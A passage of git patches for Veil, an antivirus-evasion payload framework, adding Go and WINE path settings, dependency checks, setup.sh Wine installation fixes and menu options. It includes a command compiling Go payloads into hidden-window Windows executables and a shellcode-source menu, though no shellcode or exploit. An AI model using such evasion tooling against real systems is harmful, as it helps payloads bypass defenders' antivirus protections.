options["TEMP_PATH"] + '"\n\n' + print( " [*] TEMP_PATH = " + options["TEMP_PATH"] ) # Metasploit-Framework config += '# The path to the metasploit framework, for example: /usr/share/metasploit-framework/\n' @@ -75,10 +75,17 @@ def generateConfig(options): print( " [*] MSFVENOM_OPTIONS = " + options['MSFVENOM_OPTIONS'] ) # PyInstaller Path - config += '# The path to pyinstaller, for example: /opt/pyinstaller-2.0/\n' + config += '# The path to pyinstaller, for example: /var/lib/veil/PyInstaller/\n' config += 'PYINSTALLER_PATH="' + options['PYINSTALLER_PATH'] + '"\n\n' - print( " [*] PYINSTALLER_PATH = " + options['PYINSTALLER_PATH'] + "\n" ) + print( " [*] PYINSTALLER_PATH = " + options['PYINSTALLER_PATH'] ) + # GoLang Path + config += '# The path to pyinstaller, for example: /var/lib/veil/go/\n' + config += 'GOLANG_PATH="' + options['GOLANG_PATH'] + '"\n\n' + print( " [*] GOLANG_PATH = " + options['GOLANG_PATH']) + + # Padding between sections + print ( "\n" ) # Veil-Evasion config += """ @@ -120,8 +127,10 @@ def generateConfig(options): hash_path = os.path.expanduser( options["HASH_LIST"] ) config += '# Running hash list of all payloads generated\n' config += 'HASH_LIST="' + hash_path + '"\n\n' - print( " [*] HASH_LIST = " + hash_path + "\n" ) + print( " [*] HASH_LIST = " + hash_path ) + # Padding between sections + print ( "\n" ) # Veil-Catapult config += """ @@ -189,7 +198,7 @@ def generateConfig(options): # Check for root access if os.geteuid() != 0: - print( " [!] ERROR: Not root. Requesting..." ) + print( "\n [!] ERROR: Not root. Requesting...\n" ) os.execvp( "sudo", ["sudo"] + ["python"] + sys.argv ) sys.exit() @@ -203,8 +212,9 @@ def generateConfig(options): options["MSFVENOM_OPTIONS"] = "" options["MSFVENOM_PATH"] = "/usr/local/bin/" options["OPERATING_SYSTEM"] = "Linux" - options["PYINSTALLER_PATH"] = "/var/lib/veil/PyInstaller-3.2.1/" - options["TEMP_DIR"] = "/tmp/" + options["PYINSTALLER_PATH"] = "/var/lib/veil/PyInstaller-3.2.1/" # via /config/setup.sh + options["GOLANG_PATH"] = "/var/lib/veil/go/" # via /config/setup.sh + options["TEMP_PATH"] = "/tmp/" options["TERMINAL_CLEAR"] = "clear" options["WINEPREFIX"] = "/var/lib/veil/wine/veil/" @@ -246,9 +256,15 @@ def generateConfig(options): # Check the paths are correct (PYINSTALLER_PATH) while not os.path.isdir( options["PYINSTALLER_PATH"] ): + print( "\n [i] Can't find PyInstaller? Run: %s --force --silent\n" % ( os.path.abspath("./config/setup.sh" ) ) ) pypath = raw_input( " [>] Please enter the directory of PyInstaller (e.g. /var/lib/veil/PyInstaller/): " ) - print( " [i] Can't find PyInstaller? Run: %s --force --silent\n" % ( os.path.abspath("./config/setup.sh" ) ) ) options["PYINSTALLER_PATH"] = pypath + + # Check the paths are correct (GOLANG_PATH) + while not os.path.isdir( options["GOLANG_PATH"] ): + print( "\n [i] Can't find GoLang? Run: %s --force --silent\n" % ( os.path.abspath("./config/setup.sh" ) ) ) + gopath = raw_input( " [>] Please enter the directory of GoLang (e.g. /var/lib/veil/go/): " ) + options["GOLANG_PATH"] = gopath # Unsupported platform... else: print( " [!] ERROR: PLATFORM NOT CURRENTLY SUPPORTED" ) diff --git a/lib/common/helpers.py b/lib/common/helpers.py index 5c4ce12..b97d533 100644 --- a/lib/common/helpers.py +++ b/lib/common/helpers.py @@ -16,10 +16,29 @@ import settings except ImportError: - print("\n [!] ERROR #1-3: Can't import /etc/veil/settings.py. Run %s\n" % (os.path.abspath("./config/update-config.py"))) + print( "\n [!] ERROR #1-3: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath("./config/update-config.py" ) ) ) sys.exit() +# See if ./config/setup.sh has been executed +if not os.path.exists( settings.GOLANG_PATH ): + print( "\n [!] ERROR #2-3: Can't find Go (%s). Run: %s --setup\n" % ( settings.GOLANG_PATH, sys.argv[0] ) ) + sys.exit() + +if not os.path.exists( settings.PYINSTALLER_PATH ): + print( "\n [!] ERROR #2-3: Can't find PyInstaller (%s). Run: %s --setup\n" % ( settings.PYINSTALLER_PATH, sys.argv[0] ) ) + sys.exit() + +if not os.path.exists( settings.METASPLOIT_PATH ): + print( "\n [!] ERROR #2-3: Can't find the Metasploit Framework (%s). Run: %s --setup\n" % ( settings.METASPLOIT_PATH, sys.argv[0] ) ) + sys.exit() + +if not os.path.exists( settings.WINEPREFIX ): + print( "\n [!] ERROR #2-3: Can't find the WINE profile (%s). Run: %s --setup\n" % ( settings.WINEPREFIX, sys.argv[0] ) ) + sys.exit() + + + def clean_payloads(): print("\n [*] Cleaning %s" % (settings.PAYLOAD_SOURCE_PATH)) os.system('rm -f %s/*.*' % (settings.PAYLOAD_SOURCE_PATH)) diff --git a/lib/common/orchestra.py b/lib/common/orchestra.py index c4db342..18f0697 100644 --- a/lib/common/orchestra.py +++ b/lib/common/orchestra.py @@ -18,7 +18,7 @@ import settings except ImportError: - print("\n [!] ERROR #1-2: Can't import /etc/veil/settings.py. Run %s\n" % (os.path.abspath("./config/update-config.py"))) + print( "\n [!] ERROR #1-2: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath("./config/update-config.py" ) ) ) sys.exit() diff --git a/tools/evasion/evasion_common/evasion_helpers.py b/tools/evasion/evasion_common/evasion_helpers.py index 44638a9..e86ab50 100644 --- a/tools/evasion/evasion_common/evasion_helpers.py +++ b/tools/evasion/evasion_common/evasion_helpers.py @@ -18,7 +18,7 @@ import settings except ImportError: - print("\n [!] ERROR #1-6: Can't import /etc/veil/settings.py. Run %s\n" % (os.path.abspath("./config/update-config.py"))) + print( "\n [!] ERROR #1-6: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath("./config/update-config.py" ) ) ) sys.exit() @@ -38,11 +38,11 @@ def compileToTemp(language, payloadSource): """ if language == "cs": - tempExeName = settings.TEMP_DIR + "temp.exe" - tempSourceName = settings.TEMP_DIR + "temp.cs" + tempExeName = settings.TEMP_PATH + "temp.exe" + tempSourceName = settings.TEMP_PATH + "temp.cs" # write out the payload source to the temporary location - with open(settings.TEMP_DIR + "temp.cs", 'w') as f: + with open(settings.TEMP_PATH + "temp.cs", 'w') as f: f.write(payloadSource) # Compile our CS code into an executable and pass a compiler flag to prevent it from opening a command prompt when run diff --git a/tools/evasion/evasion_common/outfile.py b/tools/evasion/evasion_common/outfile.py index 29d26cd..c178ab8 100644 --- a/tools/evasion/evasion_common/outfile.py +++ b/tools/evasion/evasion_common/outfile.py @@ -15,7 +15,7 @@ import settings except ImportError: - print("\n [!] ERROR #1-5: Can't import /etc/veil/settings.py. Run %s\n" % (os.path.abspath("./config/update-config.py"))) + print( "\n [!] ERROR #1-5: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath("./config/update-config.py" ) ) ) sys.exit() @@ -203,7 +203,7 @@ def compiler(payload_object, invoked=False, cli_object=None): elif payload_object.language == 'go': if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': # Compile go payload - os.system('env GOROOT=/var/lib/veil/go GOOS=windows GOARCH=386 /var/lib/veil/go/bin/go build -ldflags "-s -w -H=windowsgui" -v -o ' + executable_filepath + ' ' + source_code_filepath) + os.system( 'env GOROOT={0} GOOS=windows GOARCH=386 {0}/bin/go build -ldflags "-s -w -H=windowsgui" -v -o {1} {2}'.format(settings.GOLANG_PATH, executable_filepath, source_code_filepath) ) evasion_helpers.title_screen() diff --git a/tools/evasion/evasion_common/shellcode_help.py b/tools/evasion/evasion_common/shellcode_help.py index 899b797..2dad552 100644 --- a/tools/evasion/evasion_common/shellcode_help.py +++ b/tools/evasion/evasion_common/shellcode_help.py @@ -22,7 +22,7 @@ import settings except ImportError: - print("\n [!] ERROR #1-4: Can't import /etc/veil/settings.py. Run %s\n" % (os.path.abspath("./config/update-config.py"))) + print( "\n [!] ERROR #1-4: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath("./config/update-config.py" ) ) ) sys.exit() diff --git a/tools/evasion/tool.py b/tools/evasion/tool.py index 2de41a8..8757e46 100644 --- a/tools/evasion/tool.py +++ b/tools/evasion/tool.py @@ -22,7 +22,7 @@ import settings except ImportError: - print("\n [!] ERROR #1-1: Can't import /etc/veil/settings.py. Run %s\n" % (os.path.abspath("./config/update-config.py"))) + print( "\n [!] ERROR #1-1: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath("./config/update-config.py" ) ) ) sys.exit() From 16cbe08773ca75fd530f1fbf9b6d938e376a0de6 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Wed, 11 Apr 2018 17:33:41 +0100 Subject: [PATCH 08/38] Add options and check WINE paths --- config/setup.sh | 49 +++++++++++-------- config/update-config.py | 2 +- lib/common/helpers.py | 22 ++++++--- lib/common/orchestra.py | 31 +++++++++--- .../evasion/evasion_common/evasion_helpers.py | 2 +- tools/evasion/evasion_common/outfile.py | 2 +- .../evasion/evasion_common/shellcode_help.py | 8 +-- tools/evasion/tool.py | 2 +- 8 files changed, 77 insertions(+), 41 deletions(-) diff --git a/config/setup.sh b/config/setup.sh index 8e18c54..e6f97d9 100755 --- a/config/setup.sh +++ b/config/setup.sh @@ -31,12 +31,12 @@ fi userprimarygroup="$( id -Gn "${trueuser}" | cut -d' ' -f1 )" arch="$( uname -m )" -osversion="$( awk -F '=' '/^VERSION_ID=/ {print $2}' /etc/os-release 2>&- )" +osversion="$( awk -F '=' '/^VERSION_ID=/ {print $2}' /etc/os-release 2>&- | sed 's/"//g' )" veildir="/var/lib/veil" outputdir="${veildir}/output" dependenciesdir="${veildir}/setup-dependencies" rootdir=$( cd "$( dirname "${BASH_SOURCE[0]}" )/../" && pwd ) -winedir="${veildir}/wine/veil" +winedir="${veildir}/wine" winedrive="${winedir}/drive_c" gempath="${winedir}\drive_c\Ruby187\bin\gem" replace="\\" @@ -273,7 +273,7 @@ func_package_deps(){ || echo -e "${RED}[ERROR]: Failed with pip2 install (1)\n${RESET}\n" fi tmp="$?" - if [ "${tmp}" -ne "0" ]; then + if [[ "${tmp}" -ne "0" ]]; then msg="Failed to install dependencies... Exit code: ${tmp}" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" @@ -286,7 +286,7 @@ func_package_deps(){ sudo ${arg} apt-get -y install metasploit-framework python2.7 python3 python3-pycryptodome \ || echo -e "${RED}[ERROR]: Failed with apt-get install dependencies (5)\n${RESET}\n" tmp="$?" - if [ "${tmp}" -ne "0" ]; then + if [[ "${tmp}" -ne "0" ]]; then msg="Failed to install dependencies (Metasploit-Framework/python2.7/python3/python3-pycryptodome)... Exit code: ${tmp}" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" @@ -333,13 +333,22 @@ func_package_deps(){ && arg=" DEBIAN_FRONTEND=noninteractive" \ || arg="" - if [ "${arch}" == "x86_64" ]; then - echo -e "\n\n [*] ${YELLOW}Adding x86 architecture to x86_64 system for Wine${RESET}\n" - sudo dpkg --add-architecture i386 + if [ "${arch}" == "x86_64" ]; then + ## Check to see if we already have i386 + tmp="$( dpkg --print-foreign-architectures | grep '^i386$' )" - echo -e " [*] ${YELLOW}Updating APT${RESET}\n" - sudo apt-get -qq update \ - || echo -e "${RED}[ERROR]: Failed with apt-get update (1)\n${RESET}\n" + ## If we do NOT have it, add it + if [[ "${tmp}" == "" ]]; then + echo -e "\n\n [*] ${YELLOW}Adding i386 architecture to x86_64 system for Wine${RESET}\n" + sudo dpkg --add-architecture i386 + + echo -e " [*] ${YELLOW}Updating APT${RESET}\n" + sudo apt-get -qq update \ + || echo -e "${RED}[ERROR]: Failed with apt-get update (1)\n${RESET}\n" + ## Already have i386 added + else + echo -e " [*] ${YELLOW}Already have x86 architecture added...${RESET}\n" + fi echo -e "\n\n [*] ${YELLOW}Installing Wine 32-bit and 64-bit binaries (via APT)${RESET}\n" if [ "${os}" == "ubuntu" ] \ @@ -353,7 +362,7 @@ func_package_deps(){ || echo -e "${RED}[ERROR]: Failed with apt-get install wine (2)\n${RESET}\n" fi tmp="$?" - if [ "${tmp}" -ne "0" ]; then + if [[ "${tmp}" -ne "0" ]]; then msg="Failed to install Wine... Exit code: ${tmp}" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" @@ -365,7 +374,7 @@ func_package_deps(){ sudo ${arg} apt-get -y -qq install wine32 \ || echo -e "${RED}[ERROR]: Failed with apt-get install wine (3)\n${RESET}\n" tmp="$?" - if [ "${tmp}" -ne "0" ]; then + if [[ "${tmp}" -ne "0" ]]; then msg="Failed to install Wine... Exit code: ${tmp}" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" @@ -382,7 +391,7 @@ func_package_deps(){ sudo ${arg} apt-get -y -qq install wine wine1.6 wine1.6-amd64 \ || echo -e "${RED}[ERROR]: Failed with apt-get install wine (4)\n${RESET}\n" tmp="$?" - if [ "${tmp}" -ne "0" ]; then + if [[ "${tmp}" -ne "0" ]]; then msg="Failed to install Wine in Elementary OS... Exit code: ${tmp}" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" @@ -395,7 +404,7 @@ func_package_deps(){ echo -e "\n\n [*] ${YELLOW}Installing Wine 32-bit on x86_64 System (via DNF)${RESET}\n" sudo dnf install -y wine.i686 wine tmp="$?" - if [ "${tmp}" -ne "0" ]; then + if [[ "${tmp}" -ne "0" ]]; then msg="Failed to install Wine x86_64... Exit code: ${tmp}" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" @@ -409,7 +418,7 @@ func_package_deps(){ sudo pacman -Syu ${args} --needed --noconfirm wine wine-mono wine_gecko git tmp="$?" - if [ "${tmp}" -ne "0" ]; then + if [[ "${tmp}" -ne "0" ]]; then msg="Failed to install Wine x86_64... Exit code: ${tmp}" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" @@ -513,7 +522,7 @@ func_python_deps(){ || arg="" sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine msiexec /i "${dependenciesdir}/python-3.4.4.msi" ${arg} tmp="$?" - if [ "${tmp}" -ne "0" ]; then + if [[ "${tmp}" -ne "0" ]]; then msg="Failed to install (Wine) Python 3.4.4... Exit code: ${tmp}" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" @@ -554,7 +563,7 @@ func_python_deps(){ else sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${FILE}" tmp="$?" - if [ "${tmp}" -ne "0" ]; then + if [[ "${tmp}" -ne "0" ]]; then msg="Failed to install ${FILE}... Exit code: ${tmp}" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" @@ -630,7 +639,7 @@ func_go_deps(){ sudo mkdir -p "${veildir}" sudo tar -C "${veildir}" -xf "${file}" else - if [ "${tmp}" -ne "0" ]; then + if [[ "${tmp}" -ne "0" ]]; then msg="Bad hash for ${file}!" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" @@ -687,7 +696,7 @@ func_ruby_deps(){ || arg="" sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${dependenciesdir}/rubyinstaller-1.8.7-p371.exe" ${arg} tmp="$?" - if [ "${tmp}" -ne "0" ]; then + if [[ "${tmp}" -ne "0" ]]; then msg="Failed to install (Wine) Ruby.exe... Exit code: ${tmp}" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" @@ -726,7 +735,7 @@ func_update_config(){ ## - | sudo python update-config.py (${USER}=root ${SUDO_USER}=root) ## snip 8<- - - - - - - - - - - - - - And thus it would have screwed up the ${winedir} dir for the user. if [ -e /etc/veil/ ]; then - echo -e "\n\n [*] ${YELLOW}Detected current Veil settings. Removing...${RESET}\n" + echo -e " [*] ${YELLOW}Detected current Veil settings. Removing...${RESET}\n" sudo rm -rf /etc/veil/ fi sudo -u "${trueuser}" sudo python update-config.py diff --git a/config/update-config.py b/config/update-config.py index d69f210..bc2c15a 100755 --- a/config/update-config.py +++ b/config/update-config.py @@ -216,7 +216,7 @@ def generateConfig(options): options["GOLANG_PATH"] = "/var/lib/veil/go/" # via /config/setup.sh options["TEMP_PATH"] = "/tmp/" options["TERMINAL_CLEAR"] = "clear" - options["WINEPREFIX"] = "/var/lib/veil/wine/veil/" + options["WINEPREFIX"] = "/var/lib/veil/wine/" # Veil-Evasion specific options veil_evasion_path = "/".join( os.getcwd().split( "/" )[:-1] ) + "/" diff --git a/lib/common/helpers.py b/lib/common/helpers.py index b97d533..5a57d12 100644 --- a/lib/common/helpers.py +++ b/lib/common/helpers.py @@ -16,27 +16,37 @@ import settings except ImportError: - print( "\n [!] ERROR #1-3: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath("./config/update-config.py" ) ) ) + print( "\n [!] ERROR #1-3: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath( "./config/update-config.py" ) ) ) sys.exit() - # See if ./config/setup.sh has been executed if not os.path.exists( settings.GOLANG_PATH ): - print( "\n [!] ERROR #2-3: Can't find Go (%s). Run: %s --setup\n" % ( settings.GOLANG_PATH, sys.argv[0] ) ) + print( "\n [!] ERROR #2-3: Can't find Go (%s). Run: %s --force --silent\n" % ( settings.GOLANG_PATH, os.path.abspath( "./config/setup.sh" ) ) ) sys.exit() if not os.path.exists( settings.PYINSTALLER_PATH ): - print( "\n [!] ERROR #2-3: Can't find PyInstaller (%s). Run: %s --setup\n" % ( settings.PYINSTALLER_PATH, sys.argv[0] ) ) + print( "\n [!] ERROR #2-3: Can't find PyInstaller (%s). Run: %s --force --silent\n" % ( settings.PYINSTALLER_PATH, os.path.abspath( "./config/setup.sh" ) ) ) sys.exit() if not os.path.exists( settings.METASPLOIT_PATH ): - print( "\n [!] ERROR #2-3: Can't find the Metasploit Framework (%s). Run: %s --setup\n" % ( settings.METASPLOIT_PATH, sys.argv[0] ) ) + print( "\n [!] ERROR #2-3: Can't find the Metasploit Framework (%s). Run: %s --force --silent\n" % ( settings.METASPLOIT_PATH, os.path.abspath( "./config/setup.sh" ) ) ) sys.exit() if not os.path.exists( settings.WINEPREFIX ): - print( "\n [!] ERROR #2-3: Can't find the WINE profile (%s). Run: %s --setup\n" % ( settings.WINEPREFIX, sys.argv[0] ) ) + print( "\n [!] ERROR #2-3: Can't find the WINE profile (%s). Run: %s --force --silent\n" % ( settings.WINEPREFIX, os.path.abspath( "./config/setup.sh" ) ) ) + sys.exit() + +if not os.path.exists( settings.WINEPREFIX + "/drive_c/Python34/python.exe" ): + print( "\n [!] ERROR #2-3: Can't find the WINE profile for Python v3.4 (%s). Run: %s --force --silent\n" % ( settings.WINEPREFIX + "/drive_c/Python34/python.exe", os.path.abspath( "./config/setup.sh" ) ) ) sys.exit() +if not os.path.exists( settings.WINEPREFIX + "/drive_c/Ruby187/bin/ruby.exe" ): + print( "\n [!] ERROR #2-3: Can't find the WINE profile for Ruby v1.8.7 (%s). Run: %s --force --silent\n" % ( settings.WINEPREFIX + "/drive_c/Ruby187/bin/ruby.exe", os.path.abspath( "./config/setup.sh" ) ) ) + sys.exit() + +if not os.path.exists( settings.WINEPREFIX + "/drive_c/Program\ Files/AutoIt3/Aut2Exe/Aut2exe.exe" ): + print( "\n [!] ERROR #2-3: Can't find the WINE profile for AuotIT v3 (%s). Run: %s --force --silent\n" % ( settings.WINEPREFIX + "/drive_c/Program\ Files/AutoIt3/Aut2Exe/Aut2exe.exe", os.path.abspath( "./config/setup.sh" ) ) ) + sys.exit() def clean_payloads(): diff --git a/lib/common/orchestra.py b/lib/common/orchestra.py index 18f0697..a6c75e2 100644 --- a/lib/common/orchestra.py +++ b/lib/common/orchestra.py @@ -18,7 +18,7 @@ import settings except ImportError: - print( "\n [!] ERROR #1-2: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath("./config/update-config.py" ) ) ) + print( "\n [!] ERROR #1-2: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath( "./config/update-config.py" ) ) ) sys.exit() @@ -33,6 +33,7 @@ def __init__(self, cli_stuff): "list": "List available tools", "use": "Use a specific tool", "info": "Information on a specific tool", + "options": "Show Veil configuration", "update": "Update Veil", "exit": "Exit Veil"} self.number_of_tools = len(self.imported_tools) @@ -109,7 +110,6 @@ def main_menu(self): main_menu_command = input('Main menu choice: ').strip() if main_menu_command.startswith('use'): - # Check to make sure a tool is provided with use command if len(main_menu_command.split()) == 1: @@ -154,14 +154,12 @@ def main_menu(self): main_menu_command = '' elif main_menu_command.startswith('list'): - # List tools, don't show header, loop back in main menu self.list_tools() show_header = False main_menu_command = '' elif main_menu_command.startswith('info'): - if len(main_menu_command.split()) == 1: show_header = True main_menu_command = '' @@ -199,8 +197,19 @@ def main_menu(self): main_menu_command = '' show_header = True - elif main_menu_command.startswith('update'): + elif main_menu_command.startswith('option'): + self.options_veil() + main_menu_command = '' + + elif main_menu_command.startswith('config'): + self.config_veil() + main_menu_command = '' + + elif main_menu_command.startswith('setup'): + self.setup_veil() + main_menu_command = '' + elif main_menu_command.startswith('update'): self.update_veil() main_menu_command = '' @@ -216,6 +225,14 @@ def main_menu(self): print("\n\n" + helpers.color("Rage quit!", warning=True)) sys.exit() + # Show options + def options_veil(self): + for i in dir(settings): + if i.startswith('_'): continue + print( " [i] {0}: {1}".format( i , exec( "print ( settings." + i + " )" ) ), end='', flush=True) + input( '\n\nOptions shown. Press enter to continue' ) + return + # Self update framework def update_veil(self): if settings.OPERATING_SYSTEM == "Kali": @@ -231,7 +248,7 @@ def setup_veil(self): if os.path.exists("/usr/share/veil/config/setup.sh"): os.system('/usr/share/veil/config/setup.sh -f -s') else: - print("\n [!] ERROR: Missing %s\n" % ("/usr/share/veil/config/setup.sh")) + print("\n [!] ERROR: Kali is missing %s\n" % ("/usr/share/veil/config/setup.sh")) os.system('./config/setup.sh -f -s') else: os.system('./config/setup.sh -f -s') @@ -244,7 +261,7 @@ def config_veil(self): if os.path.exists("/usr/share/veil/config/update-config.py"): os.system('cd /usr/share/veil/config/; ./update-config.py') else: - print("\n [!] ERROR: Missing %s\n" % ("/usr/share/veil/config/update-config.py")) + print("\n [!] ERROR: Kali is missing %s\n" % ("/usr/share/veil/config/update-config.py")) os.system('cd ./config/; ./update-config.py') else: os.system('cd ./config/; ./update-config.py') diff --git a/tools/evasion/evasion_common/evasion_helpers.py b/tools/evasion/evasion_common/evasion_helpers.py index e86ab50..88de868 100644 --- a/tools/evasion/evasion_common/evasion_helpers.py +++ b/tools/evasion/evasion_common/evasion_helpers.py @@ -18,7 +18,7 @@ import settings except ImportError: - print( "\n [!] ERROR #1-6: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath("./config/update-config.py" ) ) ) + print( "\n [!] ERROR #1-6: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath( "./config/update-config.py" ) ) ) sys.exit() diff --git a/tools/evasion/evasion_common/outfile.py b/tools/evasion/evasion_common/outfile.py index c178ab8..0a4aa8e 100644 --- a/tools/evasion/evasion_common/outfile.py +++ b/tools/evasion/evasion_common/outfile.py @@ -15,7 +15,7 @@ import settings except ImportError: - print( "\n [!] ERROR #1-5: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath("./config/update-config.py" ) ) ) + print( "\n [!] ERROR #1-5: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath( "./config/update-config.py" ) ) ) sys.exit() diff --git a/tools/evasion/evasion_common/shellcode_help.py b/tools/evasion/evasion_common/shellcode_help.py index 2dad552..6d38740 100644 --- a/tools/evasion/evasion_common/shellcode_help.py +++ b/tools/evasion/evasion_common/shellcode_help.py @@ -22,7 +22,7 @@ import settings except ImportError: - print( "\n [!] ERROR #1-4: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath("./config/update-config.py" ) ) ) + print( "\n [!] ERROR #1-4: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath( "./config/update-config.py" ) ) ) sys.exit() @@ -188,9 +188,9 @@ def payload_selection_menu(self, showTitle=True): print(' [?] Generate or supply custom shellcode?\n') print(' %s - Ordnance %s' % (helpers.color('1'), helpers.color('(default)', yellow=True))) print(' %s - MSFVenom' % (helpers.color('2'))) - print(' %s - custom shellcode string' % (helpers.color('3'))) - print(' %s - file with shellcode (\\x41\\x42..)' % (helpers.color('4'))) - print(' %s - binary file with shellcode\n' % helpers.color('5')) + print(' %s - Custom shellcode string' % (helpers.color('3'))) + print(' %s - File with shellcode (\\x41\\x42..)' % (helpers.color('4'))) + print(' %s - Binary file with shellcode\n' % helpers.color('5')) try: choice = self.required_options['SHELLCODE'][0].lower().strip() diff --git a/tools/evasion/tool.py b/tools/evasion/tool.py index 8757e46..248c9d6 100644 --- a/tools/evasion/tool.py +++ b/tools/evasion/tool.py @@ -22,7 +22,7 @@ import settings except ImportError: - print( "\n [!] ERROR #1-1: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath("./config/update-config.py" ) ) ) + print( "\n [!] ERROR #1-1: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath( "./config/update-config.py" ) ) ) sys.exit() From ca94960e15a97182ceb4f63b26669731bc51dbeb Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Wed, 11 Apr 2018 17:40:54 +0100 Subject: [PATCH 09/38] Spacing --- lib/common/helpers.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/common/helpers.py b/lib/common/helpers.py index 5a57d12..8c9255f 100644 --- a/lib/common/helpers.py +++ b/lib/common/helpers.py @@ -44,8 +44,8 @@ print( "\n [!] ERROR #2-3: Can't find the WINE profile for Ruby v1.8.7 (%s). Run: %s --force --silent\n" % ( settings.WINEPREFIX + "/drive_c/Ruby187/bin/ruby.exe", os.path.abspath( "./config/setup.sh" ) ) ) sys.exit() -if not os.path.exists( settings.WINEPREFIX + "/drive_c/Program\ Files/AutoIt3/Aut2Exe/Aut2exe.exe" ): - print( "\n [!] ERROR #2-3: Can't find the WINE profile for AuotIT v3 (%s). Run: %s --force --silent\n" % ( settings.WINEPREFIX + "/drive_c/Program\ Files/AutoIt3/Aut2Exe/Aut2exe.exe", os.path.abspath( "./config/setup.sh" ) ) ) +if not os.path.exists( settings.WINEPREFIX + "/drive_c/Program Files/AutoIt3/Aut2Exe/Aut2exe.exe" ): + print( "\n [!] ERROR #2-3: Can't find the WINE profile for AuotIT v3 (%s). Run: %s --force --silent\n" % ( settings.WINEPREFIX + "/drive_c/Program Files/AutoIt3/Aut2Exe/Aut2exe.exe", os.path.abspath( "./config/setup.sh" ) ) ) sys.exit() From 771ee03a4feabec47552fb115cd34a94e636b978 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Wed, 11 Apr 2018 17:48:29 +0100 Subject: [PATCH 10/38] Only clear when asked --- lib/common/messages.py | 4 +++- tools/evasion/evasion_common/evasion_helpers.py | 4 +++- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/lib/common/messages.py b/lib/common/messages.py index 427b736..aca5fc8 100644 --- a/lib/common/messages.py +++ b/lib/common/messages.py @@ -23,7 +23,9 @@ def title_screen(): """ Print the framework title, with version. """ - os.system('clear') + if settings.TERMINAL_CLEAR != "false": + os.system('clear') + print('=' * 79) print(' ' * 29 + helpers.color('Veil', status=False, bold=True) + ' | [Version]: ' + veil_version) print('=' * 79) diff --git a/tools/evasion/evasion_common/evasion_helpers.py b/tools/evasion/evasion_common/evasion_helpers.py index 88de868..1d196f9 100644 --- a/tools/evasion/evasion_common/evasion_helpers.py +++ b/tools/evasion/evasion_common/evasion_helpers.py @@ -139,7 +139,9 @@ def title_screen(): """ Print the framework title, with version. """ - os.system('clear') + if settings.TERMINAL_CLEAR != "false": + os.system('clear') + print('=' * 79) print(' ' * 35 + helpers.color('Veil-Evasion', status=False, bold=True)) print('=' * 79) From de825ad0f181e807980d2079706e0f45a4bd96f8 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Wed, 11 Apr 2018 17:51:42 +0100 Subject: [PATCH 11/38] Import settings --- lib/common/completer.py | 15 +++++++-------- lib/common/helpers.py | 1 - lib/common/messages.py | 15 +++++++-------- lib/common/orchestra.py | 1 - tools/evasion/evasion_common/evasion_helpers.py | 1 - tools/evasion/evasion_common/outfile.py | 1 - tools/evasion/evasion_common/shellcode_help.py | 1 - tools/evasion/tool.py | 1 - 8 files changed, 14 insertions(+), 22 deletions(-) diff --git a/lib/common/completer.py b/lib/common/completer.py index f8d8ca1..67c2a8a 100644 --- a/lib/common/completer.py +++ b/lib/common/completer.py @@ -12,14 +12,13 @@ import os import sys -# try to find and import the settings.py config file -if os.path.exists("/etc/veil/settings.py"): - try: - sys.path.append("/etc/veil/") - import settings - except: - print("Error importing Veil Settings!") - sys.exit(1) +# Try to find and import the settings.py config file +try: + sys.path.append("/etc/veil/") + import settings +except ImportError: + print( "\n [!] ERROR #1-7: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath( "./config/update-config.py" ) ) ) + sys.exit() class none(object): diff --git a/lib/common/helpers.py b/lib/common/helpers.py index 8c9255f..02b2f07 100644 --- a/lib/common/helpers.py +++ b/lib/common/helpers.py @@ -14,7 +14,6 @@ try: sys.path.append("/etc/veil/") import settings - except ImportError: print( "\n [!] ERROR #1-3: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath( "./config/update-config.py" ) ) ) sys.exit() diff --git a/lib/common/messages.py b/lib/common/messages.py index aca5fc8..58d0505 100644 --- a/lib/common/messages.py +++ b/lib/common/messages.py @@ -6,14 +6,13 @@ import sys from lib.common import helpers -# try to find and import the settings.py config file -if 